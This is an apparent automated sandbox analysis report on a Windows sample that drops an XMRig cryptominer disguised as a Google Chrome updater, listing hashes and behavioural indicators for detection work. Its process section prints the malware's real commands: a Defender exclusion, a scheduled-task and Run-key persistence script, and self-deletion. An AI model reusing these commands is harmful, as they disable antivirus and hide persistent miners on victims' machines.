Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1799s - max time network
1783s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
24/01/2024, 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
- Size 2.0MB
- Sample240124-vstf4aecaj
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1888 created 3540 1888 Q5EUCWHU7pMYBfT3.exe 43 PID 1888 created 3540 1888 Q5EUCWHU7pMYBfT3.exe 43 PID 1888 created 3540 1888 Q5EUCWHU7pMYBfT3.exe 43 PID 1888 created 3540 1888 Q5EUCWHU7pMYBfT3.exe 43 PID 968 created 3540 968 updater.exe 43 PID 968 created 3540 968 updater.exe 43 PID 968 created 3540 968 updater.exe 43 PID 968 created 3540 968 updater.exe 43 PID 1708 created 3540 1708 conhost.exe 43 PID 968 created 3540 968 updater.exe 43 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral22/memory/3936-126-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-130-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-131-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-133-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-137-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-139-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-141-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-143-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-145-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-147-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-149-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-151-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-153-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-155-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-157-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-159-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-161-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-163-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-165-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-167-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-169-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-171-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-173-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-175-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-177-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-179-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-181-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-183-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-185-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig behavioral22/memory/3936-187-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 968 updater.exe -
resource yara_rule behavioral22/memory/3936-120-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-126-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-130-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-131-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-133-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-137-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-139-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-141-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-143-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-145-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-147-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-149-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-151-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-153-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-155-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-157-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-159-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-161-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-163-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-165-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-167-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-169-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-171-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-173-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-175-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-177-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-179-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-181-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-183-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-185-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx behavioral22/memory/3936-187-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 968 set thread context of 1708 968 updater.exe 116 PID 968 set thread context of 3936 968 updater.exe 114 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Q5EUCWHU7pMYBfT3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4672 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1888 Q5EUCWHU7pMYBfT3.exe 1888 Q5EUCWHU7pMYBfT3.exe 3444 powershell.exe 3444 powershell.exe 1888 Q5EUCWHU7pMYBfT3.exe 1888 Q5EUCWHU7pMYBfT3.exe 4320 powershell.exe 4320 powershell.exe 1888 Q5EUCWHU7pMYBfT3.exe 1888 Q5EUCWHU7pMYBfT3.exe 1888 Q5EUCWHU7pMYBfT3.exe 1888 Q5EUCWHU7pMYBfT3.exe 4988 powershell.exe 4988 powershell.exe 968 updater.exe 968 updater.exe 1364 powershell.exe 1364 powershell.exe 968 updater.exe 968 updater.exe 1388 powershell.exe 1388 powershell.exe 968 updater.exe 968 updater.exe 968 updater.exe 968 updater.exe 1708 conhost.exe 1708 conhost.exe 968 updater.exe 968 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3444 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeIncreaseQuotaPrivilege 4320 powershell.exe Token: SeSecurityPrivilege 4320 powershell.exe Token: SeTakeOwnershipPrivilege 4320 powershell.exe Token: SeLoadDriverPrivilege 4320 powershell.exe Token: SeSystemProfilePrivilege 4320 powershell.exe Token: SeSystemtimePrivilege 4320 powershell.exe Token: SeProfSingleProcessPrivilege 4320 powershell.exe Token: SeIncBasePriorityPrivilege 4320 powershell.exe Token: SeCreatePagefilePrivilege 4320 powershell.exe Token: SeBackupPrivilege 4320 powershell.exe Token: SeRestorePrivilege 4320 powershell.exe Token: SeShutdownPrivilege 4320 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeSystemEnvironmentPrivilege 4320 powershell.exe Token: SeRemoteShutdownPrivilege 4320 powershell.exe Token: SeUndockPrivilege 4320 powershell.exe Token: SeManageVolumePrivilege 4320 powershell.exe Token: 33 4320 powershell.exe Token: 34 4320 powershell.exe Token: 35 4320 powershell.exe Token: 36 4320 powershell.exe Token: SeIncreaseQuotaPrivilege 4320 powershell.exe Token: SeSecurityPrivilege 4320 powershell.exe Token: SeTakeOwnershipPrivilege 4320 powershell.exe Token: SeLoadDriverPrivilege 4320 powershell.exe Token: SeSystemProfilePrivilege 4320 powershell.exe Token: SeSystemtimePrivilege 4320 powershell.exe Token: SeProfSingleProcessPrivilege 4320 powershell.exe Token: SeIncBasePriorityPrivilege 4320 powershell.exe Token: SeCreatePagefilePrivilege 4320 powershell.exe Token: SeBackupPrivilege 4320 powershell.exe Token: SeRestorePrivilege 4320 powershell.exe Token: SeShutdownPrivilege 4320 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeSystemEnvironmentPrivilege 4320 powershell.exe Token: SeRemoteShutdownPrivilege 4320 powershell.exe Token: SeUndockPrivilege 4320 powershell.exe Token: SeManageVolumePrivilege 4320 powershell.exe Token: 33 4320 powershell.exe Token: 34 4320 powershell.exe Token: 35 4320 powershell.exe Token: 36 4320 powershell.exe Token: SeIncreaseQuotaPrivilege 4320 powershell.exe Token: SeSecurityPrivilege 4320 powershell.exe Token: SeTakeOwnershipPrivilege 4320 powershell.exe Token: SeLoadDriverPrivilege 4320 powershell.exe Token: SeSystemProfilePrivilege 4320 powershell.exe Token: SeSystemtimePrivilege 4320 powershell.exe Token: SeProfSingleProcessPrivilege 4320 powershell.exe Token: SeIncBasePriorityPrivilege 4320 powershell.exe Token: SeCreatePagefilePrivilege 4320 powershell.exe Token: SeBackupPrivilege 4320 powershell.exe Token: SeRestorePrivilege 4320 powershell.exe Token: SeShutdownPrivilege 4320 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeSystemEnvironmentPrivilege 4320 powershell.exe Token: SeRemoteShutdownPrivilege 4320 powershell.exe Token: SeUndockPrivilege 4320 powershell.exe Token: SeManageVolumePrivilege 4320 powershell.exe Token: 33 4320 powershell.exe Token: 34 4320 powershell.exe Token: 35 4320 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4412 wrote to memory of 2332 4412 cmd.exe 102 PID 4412 wrote to memory of 2332 4412 cmd.exe 102 PID 4988 wrote to memory of 4768 4988 powershell.exe 103 PID 4988 wrote to memory of 4768 4988 powershell.exe 103 PID 968 wrote to memory of 1708 968 updater.exe 116 PID 4492 wrote to memory of 4672 4492 cmd.exe 110 PID 4492 wrote to memory of 4672 4492 cmd.exe 110 PID 968 wrote to memory of 3936 968 updater.exe 114 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1888
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4320
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4768
